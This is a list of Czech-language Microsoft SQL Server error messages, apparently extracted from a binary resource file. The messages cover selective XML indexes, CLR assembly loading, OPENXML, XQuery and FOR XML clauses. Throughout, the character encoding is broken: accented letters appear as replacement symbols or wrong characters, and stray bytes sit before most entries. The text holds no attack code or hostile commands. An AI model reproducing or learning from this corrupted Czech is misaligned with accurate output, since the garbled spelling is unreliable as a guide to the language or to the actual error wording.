�Stejn� v�raz cesty nemo~e b�t mapov�n dvakr�t pomoc� datov�ch typo SQL pro selektivn� index XML %1!s!.

$V�raz zadan� pro cestu %1!s! nen� pro selektivn� index XML %2!s! povolen. Je povoleno indexovat pouze jednoduch� v�razy cesty bez predik�to.

�Zad�n� cesty obsahuj�c� polo~ku %1!s! nen� pro selektivn� index XML %2!s! povoleno.

�Datov� typ %1!s! nen� pro selektivn� index XML %2!s! povolen.

dPro selektivn� index XML %1!s! nemo~e b�t zad�n optimaliza
n� pomocn� parametr MAX_LENGTH, pokud je ve sch�matu pro element zad�na d�lka nebo omezuj�c� vlastnost maxLength.

�Zad�n� cesty, kter� v posledn�m kroku obsahuje znak *, nen� v selektivn�m indexu XML %1!s! povoleno.

Pokud chcete v tabulce %1!s! vytvoYit selektivn� index XML, mus� m�t tabulka clusterov� prim�rn� kl�
 s m�n ne~ %2!s! sloupci.

Selektivn� index XML %1!s! ji~ existuje ve sloupci %2!s! tabulky %3!s!. V�ce selektivn�ch indexo XML na sloupec nen� povoleno.

�Cesta %1!s!. Kdy~ je pro selektivn� index XML %2!s! zad�na mo~nost SINGLETON, je nalezeno v�ce hodnot.

|Cestu %1!s! nelze v selektivn�m indexu XML %2!s! nal�zt.

�Selektivn� index XML s n�zvem %1!s! nelze v tabulce %2!s! nal�zt.

�Pro selektivn� index XML %1!s! lze zadat mo~nost SINGLETON jen pro netypov� k�d XML.

Nen� povoleno zadat cestu obsahuj�c� znak * pouze pro identifik�tor URI nebo pouze pro n�zev uzlu selektivn�ho indexu XML %1!s!.

�Selektivn� index XML %1!s! v tabulce %2!s! a sloupci %3!s! neexistuje.

Nelze pYev�st selektivn� index XML na sekund�rn� selektivn� index XML pomoc� mo~nosti DROP_EXISTING. Index %1!s! je selektivn� index XML.

�Nelze odebrat vaechny cesty pro selektivn� index XML %1!s!. Pro selektivn� index XML mus� b�t zad�na nejm�n jedna cesta.

�Verze selektivn�ho DG ulo~en� v datab�zi se lia� od verze selektivn�ho DG na serveru pro index %1!s!.

�Vlo~en� hodnota pYekra
uje maxim�ln� d�lku %1!s! cesty %2!s! pro selektivn� index XML %3!s!.

�PY�kaz ALTER SCHEMA COLLECTION se nezdaYil, proto~e cesta %1!s! indexovan� se selektivn�m indexem XML %2!s! v tabulce %3!s! by byla zneplatnna. Je tYeba zmnit sch�ma nebo zadanou cestu, aby ovYen� nenalezlo ~�dn� neshody.

�Cesta %1!s! je propagov�na do typu, kter� nelze pou~�t jako kl�
ov� sloupec v sekund�rn�m selektivn�m indexu XML.

� VytvoYen� sekund�rn�ho selektivn�ho indexu XML nen� v cest %1!s! povoleno, proto~e je zad�na hodnota node().

�Stejn� v�raz cesty nemo~e b�t mapov�n dvakr�t se stejn�mi typy XSD pro selektivn� index XML %1!s!.

�Byl nalezen nelistov� element indexovan� pro hodnotu s cestou %1!s! pro selektivn� index XML %2!s!.

�Maxim�ln� d�lka kl�
e je %1!s! bajto. Sekund�rn� selektivn� index XML %2!s! na cest %3!s! m� maxim�ln� d�lku %4!s! bajto. V pY�pad nkter�ch kombinac� velk�ch hodnot dojde pYi spuatn� operace Insert nebo Update k chyb.

�Po
et propagovan�ch cest pro selektivn� index XML %1!s! pYekra
uje maxim�ln� po
et %2!s!.

�Cesta %1!s! zadan� pro selektivn� index XML %2!s! je pY�lia hlubok�. Maxim�ln� povolen� hloubka v �rovn�ch: %3!s!

$Hodnota mo~nosti MAXLENGTH zadan� pro cestu %1!s! selektivn�ho indexu XML %2!s! nen� povolena. Hodnota by mla b�t v rozsahu %3!s! a~ %4!s!.

Cestu XML %1!s! selektivn�ho indexu XML %2!s! nelze vyYadit, proto~e je pou~�v�na sekund�rn�m selektivn�m indexem XML %3!s!.

�Nelze vr�tit zmny %1!s!. Nebyla nalezena ~�dn� transakce ani ulo~en� bod s t�mto n�zvem.

4Operace %1!s! se nezdaYila, proto~e metoda %2!s! tY�dy %3!s! v sestaven� %4!s! vrac� %5!s!. Aktiva
n� procedury modulu CLR vaak mus� vracet typ void.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e se mu nepodaYilo otevY�t fyzick� soubor %2!s!: %3!s!.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e se mu nepodaYilo pYe
�st fyzick� soubor %2!s!: %3!s!.

hSestaven� %1!s! nebylo nalezeno v katalogu SQL.

dHodnota vr�cen� z %1!s!.%2!s! nesm� b�t NULL.

`V sestaven� %2!s! nebyl nalezen typ %1!s!.

�V sestaven� %3!s! nebyla nalezena metoda %1!s! pro typ %2!s!.

�NepodaYilo se otevY�t poakozen� sestaven� %1!s! s hodnotou HRESULT 0x%2!s!.

xV sestaven� %3!s! nelze naj�t pole %1!s! pro typ %2!s!.

�PYi shroma~ov�n� metadat ze sestaven� %1!s! doalo k chyb s hodnotou HRESULT 0x%2!s!.

�Tato funkce vy~aduje rozhran� .NET Framework 4. Chcete-li ji pou~�vat, nainstalujte rozhran� .NET Framework 4.

,NepodaYilo se inicializovat modul CLR (Common Language Runtime) %1!s! s hodnotou HRESULT 0x%2!s!. Mo~ete probl�m opravit a opakovat akci pozdji.

lNepodaYilo se inicializovat modul CLR (Common Language Runtime) %1!s! s hodnotou HRESULT 0x%2!s!. Chcete-li pou~�vat integra
n� funkce modulu CLR, restartujte syst�m SQL Server.

$NepodaYilo se inicializovat modul CLR (Common Language Runtime) %1!s! z dovodu pYet�~en� pamti. Dovodem je pravdpodobn pYet�~en� pamti v pameov� oblasti MemToLeave. Dala� informace naleznete v dokumentaci k integraci modulu CLR na webu Knihy online pro SQL Server.

�V tabulce v�sledko u~ivatelsky definovan� funkce pYen�aen� datov�m proudem (sloupec %2!s!) nelze pou~�t sloupec %1!s!.

�Datab�ze kolekc� sch�mat %1!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

dV metadatech %2!s! nen� ~�dn� kolekce %1!s!.

tVytvoYen� dom�ny AppDomain %1!s! se nezdaYilo. %2!s!

hNelze otevY�t syst�mov� sestaven� %1!s!: %2!s!.

xTyp %1!s! zat�m nen� v operac�ch modulu CLR podporov�n.

�Bhem prov�dn� pY�kazu doalo k chyb rozhran� .NET Framework.

�Bhem prov�dn� pY�kazu doalo k chyb rozhran� .NET Framework: %1!s!.

�Bhem spouatn� u~ivatelsky definovan� rutiny 
i agregace %1!s! doalo k chyb rozhran� NET Framework: %2!s!.

�Metoda, vlastnost nebo pole %1!s! tY�dy %2!s! v sestaven� %3!s! jsou statick�.

�V tabulce v�sledko u~ivatelsky definovan� funkce pYen�aen� datov�m proudem (sloupec %1!s!) nelze pou~�t po
�tan� sloupec.

�V tabulce v�sledko u~ivatelsky definovan� funkce pYen�aen� datov�m proudem nelze pou~�t omezen� %1!s!.

�V tabulce v�sledko u~ivatelsky definovan� funkce pYen�aen� datov�m proudem (sloupec %2!s!) nelze pou~�t omezen� %1!s!.

�V katalogu SQL datab�ze %2!s! nebylo nalezeno sestaven� %1!s!.

8PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e doalo ke zmn identity odkazovan�ho sestaven� %1!s!. OvYte, zda se nezmnily verze, n�zev a veYejn� kl�
.

�Nelze prov�st pY�kaz ALTER na objekt %1!s!, proto~e je to nekompatibiln� typ objektu.

L%1!s! se nezdaYilo, proto~e funkce %2!s! tY�dy %3!s! sestaven� %4!s! pou~�v� jeden nebo v�ce parametro. Aktiva
n� procedury modulu CLR ale nepYij�maj� parametry.

�Spuatn� rozhran� .NET Framework bylo pYeruaeno podle z�sad eskalace z dovodu nedostatku pamti. %1!s!

`Dom�na AppDomain %1!s! byla podle eskala
n�ch z�sad uvolnna z dovodu zajiatn� konzistence aplikace. Nastal nedostatek pamti pYi pY�stupu ke kritick�mu prostYedku. %2!s!

@Dom�na AppDomain %1!s! byla podle eskala
n�ch z�sad uvolnna z dovodu zajiatn� konzistence aplikace. Aplikaci se nezdaYilo uvolnit spravovan� z�mek. %2!s!

�Spuatn� rozhran� .NET Framework bylo pYeruaeno. Po dala�m dotazu se dom�na AppDomain %1!s! uvolnila. %2!s!

tV modulu CLR rozhran� .NET Framework doalo k z�va~n� chyb. Syst�m SQL Server se vyp�n�. Pokud se chyba objev� znovu po restartov�n� syst�mu, kontaktujte slu~bu z�kaznick� podpory.

�Modul CLR rozhran� .NET Framework byl vypnut pomoc� u~ivatelsk�ho k�du, napY�klad v u~ivatelsky definovan� funkci nebo v typu CLR. Syst�m SQL Server se vyp�n�. K ukon
en� procesu by se nemla pou~�vat metoda Environment.Exit. Pokud je z�mrem vr�cen� cel�ho 
�sla jako indik�toru chyby, pou~ijte radji skal�rn� funkci nebo v�stupn� parametr.

�Spouatn� rozhran� .NET Framework bylo pYeruaeno z dovodu pYete
en� z�sobn�ku. %1!s!

�Neplatn� form�t serializace (Format.Unknown) pro typ %1!s!.%2!s!.

�N�zev registrovan�ho sestaven� %1!s! je neplatn�, proto~e duplikuje n�zev nkter�ho syst�mov�ho sestaven�.

`PY�kaz ALTER ASSEMBLY se nezdaYil, proto~e k sestaven� %1!s! je pYidru~en v�ce ne~ jeden soubor. K odebr�n� pYebyte
n�ch souboro pou~ijte pY�kaz ALTER ASSEMBLY DROP FILE.

pObjekt nelze vytvoYit, proto~e %1!s! je obecn� typ.

�Spouatn� rozhran� .NET Framework bylo pYeruaeno. Typ UDP/UDF/CLR neukon
il spYa~en� vl�ken.

4Proveden� pY�kazu %1!s! ASSEMBLY pro sestaven� %2!s! se nezdaYilo, proto~e sestaven� %3!s! je poakozen� nebo se nejedn� o 
ist� sestaven� .NET. %4!s!

�Aktivov�n� mo~nost� SET statistiky spouatn� z procedury nebo funkce modulu CLR nen� povoleno.

xNelze zosobnit kontext spouatn� bhem spouatn� %1!s!.

�Bhem na
�t�n� informac� o metod, vlastnosti 
i poli pro %1!s! tY�dy %2!s! v sestaven� %3!s! doalo k chyb.

�PY�kaz CREATE ASSEMBLY se nezdaYil, proto~e sestaven� odkazuje na sestaven� %1!s!, kter� vlastn� jin� u~ivatel.

HBhem spouatn� u~ivatelsky definovan� rutiny 
i agregace %1!s! doalo k chyb rozhran� .NET Framework: %2!s!. PY�padn� u~ivatelsk� transakce bude vr�cena zpt.

�%1!s! se nezdaYilo, proto~e po
ty parametro si neodpov�daj�.

�%1!s! pro %2!s! se nezdaYilo, proto~e si typy T-SQL a CLR pro vr�cenou hodnotu neodpov�daj�.

�%1!s! pro %2!s! se nezdaYilo, proto~e si typy T-SQL a CLR pro parametr %3!s! neodpov�daj�.

 %1!s! se nezdaYilo kvoli neplatn� konvenci vol�n� na rozhran� .NET Framework. Pou~ijte v�choz� konvenci vol�n� pro rozhran� .NET Framework.

N�zev sestaven� jazyka SQL %1!s! a n�zev sestaven� rozhran� .NET Framework %2!s! si neodpov�daj�. N�zvy sestaven� si musej� odpov�dat.

�Sestaven� %1!s! u~ existuje u vlastn�ka %2!s! v datab�zi %3!s!.

�%1!s! se nezdaYilo, proto~e v sestaven� %3!s! nelze naj�t typ %2!s!.

�%1!s! se nezdaYilo, proto~e typ %2!s! kvoli poli %4!s! neodpov�d� specifikaci %3!s!.

�%1!s! se nezdaYilo, proto~e typ %2!s! kvoli metod %4!s! neodpov�d� specifikaci %3!s!.

�V datab�zi %2!s! nelze naj�t ID typu %1!s!. Dovodem je nekonzistence sch�mat.

�Sestaven� %1!s! je syst�mov� sestaven�. Tato operace je povolen� pouze s u~ivatelsk�mi sestaven�mi.

hV adres�Yi %2!s!%3!s! nelze naj�t soubor %1!s!.

�Neshoda verz� mezi soubory %1!s! (%2!s!.%3!s!.%4!s!) a %5!s! (%6!s!.%7!s!.%8!s!).

�Metoda, vlastnost nebo pole %1!s! ve tY�d %2!s! v sestaven� %3!s! m� neplatn� n�vratov� typ.

�Metoda %1!s! ve tY�d %2!s! v sestaven� %3!s! obsahuje nkolik neplatn�ch deklarac� parametro pro parametr 
�slo %4!s!.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e zdrojov� parametr sestaven� %2!s! nen� platn�m sestaven�m.

�PY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e zdrojov� parametr sestaven� %2!s! nen� platn�m v�razem.

�%1!s! se nezdaYilo, proto~e procedura modulu CLR mo~e b�t definov�na pouze na z�klad metod modulu CLR, kter� vracej� pouze hodnoty SqlInt32, System.Int32, System.Nullable<System.Int32> nebo void.

�Bhem na
�t�n� informac� ze tY�dy %1!s! sestaven� %2!s! doalo k chyb na rozhran� .NET Framework: %3!s!.

�%1!s! se nezdaYilo, proto~e parametr %2!s! nesm� m�t hodnotu null.

�Metoda %1!s! tY�dy %2!s! sestaven� %3!s! je obecn�. Obecn� metody nejsou podporov�ny.

�TY�da %1!s! v sestaven� %2!s! je obecn�. Obecn� typy nejsou podporov�ny.

LVe tY�d %2!s! sestaven� %3!s! byla nalezena v�ce ne~ jedna metoda, vlastnost nebo pole s n�zvem %1!s!. PYet~ovan� metody, vlastnosti a pole nejsou podporov�ny.

�Metoda, vlastnost nebo pole %1!s! tY�dy %2!s! v sestaven� %3!s! nejsou statick�.

�Metoda, vlastnost nebo pole %1!s! tY�dy %2!s! v sestaven� %3!s! nejsou veYejn�.

�N�zvy sestaven� by mly m�t m�n ne~ %1!s! znako. N�zev sestaven� %2!s! je pY�lia dlouh�.

\Typ %1!s! v sestaven� %2!s! nen� veYejn�.

�PY�kaz CREATE TYPE se nezdaYil, proto~e typ %1!s! neodpov�d� specifikaci typu CLR kvoli rozhran� %2!s!.

|Pokus o pokra
ov�n� operace je po z�va~n� chyb neplatn�.

�Zmna sestaven� z %1!s! na %2!s! nen� kompatibiln� upgrade.

Deklarace parametru %1!s! si neodpov�daj�. Deklarace odkazu rozhran� .NET Framework a parametr klauzule T-SQL OUTPUT si musej� odpov�dat.

hV adres�Yi %2!s! nelze nal�zt sestaven� %1!s!.

Sestaven� %1!s! nen� viditeln� pro vytvoYen� nov�ch objekto jazyka SQL. Pro zmnu viditelnosti sestaven� pou~ijte pY�kaz ALTER ASSEMBLY.

�Sestaven� %1!s! nelze pou~�t pro vytvoYen� objekto jazyka SQL, proto~e se jedn� o syst�mov� sestaven�.

�Vlastnost nebo pole %1!s! pro typ %2!s! v sestaven� %3!s! nejsou statick�

�Bhem operace se soubory sestaven� nelze zosobnit klienta.

�Sestaven� %1!s! nelze nainstalovat, proto~e st�vaj�c� z�sady by br�nily jeho pou~it�.

�Odkaz sestaven� %1!s! byl pYesmrov�n podle extern�ch z�sad do %2!s!

U~ivatel�, kteY� pou~�vaj� integrovan� ovYov�n� aktivovan� pomoc� pY�kazu SETUSER, nemohou prov�dt operace se soubory sestaven�.

�PY�kaz DROP ASSEMBLY se nezdaYil, proto~e na zadan� sestaven� odkazuje sestaven� %1!s!.

�PY�kaz DROP ASSEMBLY se nezdaYil, proto~e na %1!s! odkazuje objekt %2!s!.

�%1!s! pro %2!s! se nezdaYilo, proto~e prvn� parametr metody %3!s! mus� b�t typu System.Object.

�Vlastnost nebo pole %1!s! typu %2!s! v sestaven� %3!s! nelze naj�t.

�Vlastnost nebo pole %1!s! typu %2!s! v sestaven� %3!s! jsou statick�.

�Nelze pYe
�st vlastnost %1!s! typu %2!s! v sestaven� %3!s!, proto~e sestaven� nem� pYistupuj�c� objekt.

�Nelze prov�st pYiYazen� do vlastnosti %1!s! typu %2!s! v sestaven� %3!s!, proto~e je jen pro 
ten�.

XPY�kaz %1!s! ASSEMBLY se nezdaYil, proto~e sestaven� %2!s! je syst�mov�m sestaven�m. Zva~te vytvoYen� u~ivatelsk�ho sestaven�, kter� by zahrnovalo po~adovanou funkci.

LPY�kaz CREATE %1!s! se nezdaYil.

�PY�kaz DROP ASSEMBLY se nezdaYil, proto~e na %1!s! odkazuje typ CLR %2!s!.

�Byla nalezena pr�zdn� tY�da nativn� serializace %1!s!. Pr�zdn� tY�dy nativn� serializace nejsou povoleny.

8Chyba v k�du XML: %1!s!

4Popis chyby je %1!s!.

\PYi anal�ze k�du XML doalo k chyb: %1!s!

�%1!s!: Z�sk�n� rozhran� IPersistStream pro text v k�du XML se nezdaYilo.

�%1!s!: Hodnota zadan� pro parametr 
�slo %2!s! je neplatn�.

�Instance tY�dy %1!s! se nezdaYila. OvYte, zda v instalaci syst�mu SQL Server existuje soubor Msxmlsql.dll.

�Neplatn� datov� typ pro sloupec %1!s!. Povolen� datov� typy jsou CHAR/VARCHAR, NCHAR/NVARCHAR, TEXT/NTEXT a XML.

`Na
ten� souboru Msxmlsql.dll se nezdaYilo.

DDatov� typ XML je poakozen�.

PZadan� hodnota %1!s! ji~ existuje.

�U objektu s n�zvem %1!s! doalo k chyb k�dov�n� nebo dek�dov�n� k�du XML.

(Neplatn� datov� typ pro sloupec %1!s!. Datov� typ nemo~e b�t text, ntext, image, binary, varchar(max), nvarchar(max), varbinary(max), ani XML.

�Sloupec %1!s! obsahuje neplatn� datov� typ. Platn� datov� typy jsou char, varchar, nchar a nvarchar.

Nelze vytv�Yet dokumenty XML z dovodu nedostatku syst�mov� pamti. Pro uvolnn� dokumento XML pou~ijte pY�kaz sp_xml_removedocument.

<Hodnotu pro sloupec OPENXML %1!s! nelze pYev�st na datov� typ sql_variant. Hodnota je pY�lia dlouh�. ZmHte datov� typ sloupce na text, ntext nebo image.

PNeo
ek�van� konec datov�ho proudu.

�Velikost datov� d�vky, kter� se po~aduje od proudu, pYekra
uje povolenou hranici.

�%1!s! dok�~e zpracovat pouze netypov� k�d XML. PYetypujte vstupn� hodnotu na k�d XML nebo na typ Yetzec.

|V�sledek sloupcov�ho v�razu sloupce %1!s! nen� kompatibiln� s po~adovan�m typem XML. V�sledek mus� b�t element, textov� uzel, uzel koment�Ye, pokyny pro zpracov�n� nebo uzel dokumentu.

�Je-li jeden ze sloupco typu XML, mus� b�t mapov�n� orientovan� na elementy ve form�tu OPENXML.

�Po~adovan� dokument OpenXML nelze pou~�t, proto~e jej pr�v pou~�v� jin� vl�kno.

�Neplatn� datov� typ pro sloupec %1!s!. Typy CLR nelze pou~�t v klauzuli WITH form�tu OpenXML.

$Nalezen� verze souboru MSXMLSQL.DLL je stara� ne~ po~adovan� verze. Nalezena verze %1!s!.%2!s!.%3!s!. Je vy~adov�na verze %4!s!.%5!s!.%6!s!.

�Form�t OpenXML nelze pou~�t jako c�l operac� DML a OUTPUT INTO.

xKomprimovan� xml stream prov�dc�ho pl�nu je poakozen�.

�Komprimovan� soubor xml prov�dc�ho pl�nu nelze na
�st, proto~e byl vytvoYen v novja� verzi SQL serveru.

XXQuery: Operace %1!s! nen� podporov�na.

�Verze indexu XML, kter� chcete pou~�t, ji~ nen� podporov�na. Index XML pros�m zruate a vytvoYte znovu.

�ID uzlu XML je neplatn�. Pokud probl�my pYetrvaj�, sestavte datab�zi znovu.

�XQuery: Dokument tYi je pY�lia hluboko. Pokud pot�~e potrvaj�, bude tYeba zjednoduait hierarchii XML.

XXQuery: Neplatn� Yetzec ordpath: %1!s!

xXQuery: Typ SQL %1!s! nen� v jazyce XQuery podporov�n.

XQuery: Maxim�ln� povolen� hloubka instanc� XML je %1!s! �rovn�. Jedna z cest v dotazu se pokoua� o pY�stup k uzlom na ni~a� �rovni.

�XQuery: Jedna z cest, kter� byly zad�ny v dotazu, je pY�lia hlubok�. Maxim�ln� povolen� hloubka je %1!s! �rovn�.

`XQuery: Doalo k vnitYn� chyb kompil�toru.

LKlauzule FOR XML AUTO vy~aduje pYinejmena�m jednu tabulku pro generov�n� zna
ek XML. Pou~ijte klauzuli FOR XML RAW nebo pYidejte klauzuli FROM s n�zvem tabulky.

Klauzule FOR XML EXPLICIT vy~aduje pYinejmena�m tYi sloupce, v
etn sloupce zna
ky, nadYazen�ho sloupce a alespoH jednoho sloupce dat.

(Dotaz FOR XML EXPLICIT obsahuje neplatn� n�zev sloupce %1!s!. Pou~ijte form�t TAGNAME!TAGID!ATTRIBUTENAME[!..], kde TAGID je kladn� cel� 
�slo.

�Klauzule FOR XML EXPLICIT vy~aduje, aby prvn� sloupec obsahoval kladn� cel� 
�sla, kter� pYedstavuj� ID zna
ek XML.

HKlauzule FOR XML EXPLICIT vy~aduje, aby druh� sloupec obsahoval nez�porn� cel� 
�sla nebo cel� 
�sla o hodnot NULL, kter� pYedstavuj� ID nadYazen� zna
ky XML.

�Doalo k pYete
en� z�sobn�ku u klauzule FOR XML EXPLICIT. Cyklick� relace nadYazen�ch zna
ek nen� povolena.

�V dotazu FOR XML EXPLICIT je pou~�v�no nedeklarovan� ID zna
ky %1!s!.

�V dotazu FOR XML EXPLICIT je pou~�v�no nedeklarovan� ID nadYazen� zna
ky %1!s!.

�ID zna
ky XML %1!s! nelze pYidat. Je mo~n�, ~e prostYedky syst�mov� pamti jsou nedostate
n�.

tNepojmenovan� tabulky nelze pou~�t jako identifik�tory XML a nepojmenovan� sloupce nelze pou~�t pro n�zev atributo. Nazvte nepojmenovan� sloupce/tabulky pomoc� AS v pY�kazu SELECT.

�Jm�no sloupce %1!s! se opakuje. V jedn� zna
ce XML nelze generovat stejn� atribut v�ce ne~ jednou.

�ID zna
ky XML %1!s!, kter� byly povodn deklarov�ny jako %2!s! byly pYedeklarov�ny jako %3!s!.

V klauzuli FOR XML EXPLICIT nelze v n�zvu sloupce %1!s! kombinovat v�ce v�skyto typo ID, IDREF, IDREFS, NMTOKEN a/nebo NMTOKENS.

�V klauzuli FOR XML EXPLICIT vy~aduj� atributy ID, IDREF, IDREFS, NMTOKEN a NMTOKENS n�zvy atributo v %1!s!.

�V klauzuli FOR XML EXPLICIT nemohou b�t atributy ID, IDREF, IDREFS, NMTOKEN a NMTOKENS skryt� v %1!s!.

V klauzuli FOR XML EXPLICIT nelze v %1!s! generovat atributy ID, IDREF, IDREFS, NMTOKEN a NMTOKENS jako CDATA, XML nebo XMLTEXT.

�V klauzuli FOR XML EXPLICIT nelze v n�zvu sloupce %1!s! kombinovat v�ce v�skyto typo ELEMENT, XML, XMLTEXT a CDATA.

hV pY�kazu %1!s! nen� povolena klauzule FOR XML.

�Klauzule FOR XML EXPLICIT vy~aduje, aby byl sloupec %1!s! nazv�n %2!s! m�sto %3!s!.

�U klauzule FOR XML AUTO nen� v sou
asn� dob podporov�na klauzule GROUP BY a agrega
n� funkce.

�V klauzuli FOR XML EXPLICIT nen� v n�zvu sloupce platn� re~im %1!s!.

�Mo~nost ELEMENTS je povolena pouze v re~imu RAW, AUTO a PATH klauzule FOR XML.

hV dotazu FOR XML EXPLICIT se ka~d� sloupec IDREFS nebo NMTOKENS mus� zobrazit v samostatn� klauzuli SELECT a instance musej� b�t seYazeny pY�mo za elementem, ke kter�mu patY�.

Dotazy FOR XML EXPLICIT povoluj� pro ka~dou zna
ku pouze jeden sloupec XMLTEXT. Sloupec %1!s! deklaruje dala� nepovolen� sloupec XMLTEXT.

�Sloupec XMLTEXT %1!s! mus� b�t Yetzcov� datov� typ nebo typ XML.

Re~imy FOR XML EXPLICIT a RAW v sou
asn� dob nepodporuj� adresov�n� bin�rn�ch dat jako adres URL ve sloupci %1!s!. Sloupec odeberte, nebo pou~ijte re~im BINARY BASE64, pY�padn vytvoYte pY�mo adresu URL pomoc� syntaxe dbobject/TABLE[@PK1="V1"]/@COLUMN.

Dotazem FOR XML AUTO se nepodaYilo naj�t tabulku s n�sleduj�c�m sloupcem %1!s!, pro kter� mla b�t vytvoYena adresa URL. Sloupec odeberte, nebo pou~ijte re~im BINARY BASE64, pY�padn vytvoYte pY�mo adresu URL pomoc� syntaxe dbobject/TABLE[@PK1="V1"]/@COLUMN.

�Klauzule FOR XML AUTO vy~aduje prim�rn� kl�
e, aby mohla vytvoYit odkazy pro %1!s!. Vyberte prim�rn� kl�
e. V pY�pad, ~e prim�rn� kl�
e neexistuj�, mo~ete v re~imu BINARY BASE64 z�skat bin�rn� data v k�dovan� podob.

�Klauzule FOR XML AUTO nedok�~e generovat adresu URL pro bin�rn� data, pokud je prim�rn� kl�
 tak� bin�rn�.

pID nadYazen� zna
ky %1!s! nen� mezi otevYen�mi zna
kami. Klauzule FOR XML EXPLICIT vy~aduje, aby byly nejprve otevYeny nadYazen� zna
ky. Zkontrolujte Yazen� sady v�sledko dotazu.

�Pole XMLTEXT %1!s! obsahuje neplatn� dokument XML. Zkontrolujte koYenovou zna
ku a jej� atributy.

�Pomoc� pole FOR XML EXPLICIT %1!s! lze zadat direktivu HIDE pouze jednou.

<Klauzule FOR XML EXPLICIT vy~aduje, aby pole IDREFS nebo NMTOKENS %1!s! orientovan� na atributy st�la pYed poli IDREFS/NMTOKEN orientovan�mi na elementy.

�Pole IDREFS nebo NMTOKENS, orientovan� na atributy, nejsou podporov�na na zna
k�ch s polem orientovan�m na elementy %1!s! typu TEXT/NTEXT nebo IMAGE. Bu zadejte ELEMENT v poli IDREFS/NMTOKENS nebo odeberte direktivu ELEMENT.

�Klauzule FOR XML EXPLICIT nepodporuje pole XMLTEXT na zna
ce %1!s!, kter� m� pole IDREFS nebo NMTOKENS.

\XMLDATA ani XMLSCHEMA nepodporuj� elementy nebo atributy oboru n�zvo jako je %1!s!. Spusete pY�kaz SELECT FOR XML bez nich nebo odeberte deklaraci pYedpony oboru n�zvo.

8Klauzule FOR XML nemo~e serializovat data pro uzel %1!s!, proto~e uzel obsahuje znak (0x%2!s!), kter� nen� v k�du XML povolen. Pokud chcete tato data na
�st pomoc� klauzule FOR XML, pYevete je na bin�rn� datov� typ nebo typ varbinary 
i image a pou~ijte direktivu BINARY BASE64.

�NepodaYilo se serializovat data pro uzel %1!s!, proto~e uzel obsahuje znak (0x%2!s!), kter� nen� v k�du XML povolen. Pokud chcete tato data na
�st, pYevete je do bin�rn�ho datov�ho typu nebo do datov�ho typu varbinary 
i image

�Klauzule FOR XML EXPLICIT: Datov� typy XML a typy CLR nelze v n�zvu sloupce %1!s! zpracovat jako CDATA. Zva~te mo~nost pYeveden� k�du XML na Yetzcov� typ. Zva~te mo~nost pYeveden� typo CLR do k�du XML a pak na Yetzcov� typ.

�Dva nebo v�ce elemento s n�zvem %1!s! jsou jin�ho typu a nejsou pY�mo na stejn� �rovni.

PDva nebo v�ce elemento s n�zvem %1!s! jsou voliteln� na stejn� �rovni. Zva~te mo~nost d�t je pY�mo na stejnou �roveH nebo mapovat do parametru xsi:nil hodnotu NULL

�Deklarace pYedpony oboru n�zvo XML %1!s! chyb� v n�zvu %3!s! klauzule FOR XML %2!s!.

�Sloupec %1!s! je typu sql_variant, kter� nen� podporov�n v klauzuli FOR XML orientovan� na atributy, se sch�matem XML.

�XMLDATA nepodporuje mapov�n� typu sloupce %1!s! do typu XDR. Pro re~imy AUTO a RAW pou~ijte radji XMLSCHEMA.

$Doalo k chyb v klauzuli FOR XML PATH ve sloupci %1!s!   v jednoduch�ch v�razech cesty nejsou povoleny znaky // a na za
�tku a konci Y�dku /.

N�zev objektu %1!s! %2!s! obsahuje neplatn� identifik�tor XML, kter� vy~aduje klauzule FOR XML. Prvn�m chybn�m znakem je %3!s!(0x%4!s!).

�Sloupec %1!s! m� v klauzuli FOR XML PATH neplatn� datov� typ pro serializaci XML orientovanou na atributy.

LSloupec %1!s! orientovan� na atributy nesm� b�t v hierarchii XML klauzule FOR XML PATH zaYazen za elementem na stejn� �rovni, kter� nen� orientovan� na atributy.

�Sloupec %1!s!: Posledn� krok cesty nelze v klauzuli FOR XML PATH pou~�t na datov� typ XML ani na typ CLR.

LNeplatn� alias sloupce %1!s! pro form�tov�n� sloupce jako pokyny pro zpracov�n� XML v klauzuli FOR XML PATH. N�zev mus� b�t ve form�tu zpracov�n� instrukce(c�l).

lVlo~en� sch�ma klauzule FOR XML PATH nepodporuje.

�V klauzuli FOR XML obsahuje n�zev zna
ky Y�dku XML neplatn� identifik�tor XML. Prvn�m chybn�m znakem je %1!s!(0x%2!s!).

�V klauzuli FOR XML obsahuje n�zev zna
ky koYene XML neplatn� identifik�tor XML. Prvn�m chybn�m znakem je %1!s!(0x%2!s!).

�Identifik�tor URI sch�matu XML obsahuje znak %1!s!(0x%2!s!), kter� nen� v k�du XML povolen.

�N�zev zna
ky Y�dku je povolen pouze v re~imu RAW a PATH klauzule FOR XML.

�Direktiva XMLDATA klauzule FOR XML nen� povolena u direktivy ROOT nebo u zadan�ho n�zvu zna
ky Y�dku.

�V klauzuli FOR XML nelze zadat pr�zdn� n�zev zna
ky koYene.

�Pr�zdn� identifik�tor URI c�lov�ho vlo~en�ho sch�matu FOR XML nen� povolen.

�Vynech�n� zna
ky Y�dku (pr�zdn� n�zev zna
ky Y�dku) nen� kompatibiln� s direktivou XMLSCHEMA FOR XML.

�Vynech�n� zna
ky Y�dku (pr�zdn� n�zev zna
ky Y�dku) nemo~e b�t pou~ito v serializaci FOR XML orientovan� na atributy.

�Klauzule FOR XML nepodporuje typy CLR. PYetypujte typy CLR explicitn do jednoho z typo, kter� dotazy FOR XML podporuj�.

�Pou~�v�n� identifik�toru URI sch�matu XML rezervovan�ho syst�mem nen� povoleno.

DAtribut xmlns je neplatn� v n�zvu zna
ky XML klauzule FOR XML PATH nebo v pY�pad, ~e je klauzule FOR XML pou~�v�na dohromady s klauzul� WITH XMLNAMESPACES.

�Seznam WITH XMLNAMESPACES nepodporuje n�sleduj�c� funkce FOR XML: Re~im EXPLICIT, direktivu XMLSCHEMA a XMLDATA.

lPokus znovu definovat pYedponu oboru n�zvo %1!s!

PYedpona %1!s! pou~it� v klauzuli WITH XMLNAMESPACES obsahuje neplatn� identifik�tor XML. Prvn�m chybn�m znakem je %2!s! (0x%3!s!).

PYedpona %1!s! pou~it� v klauzuli WITH XMLNAMESPACES je rezervovan�, tak~e ji nelze pou~�t jako u~ivatelsky definovanou pYedponu.

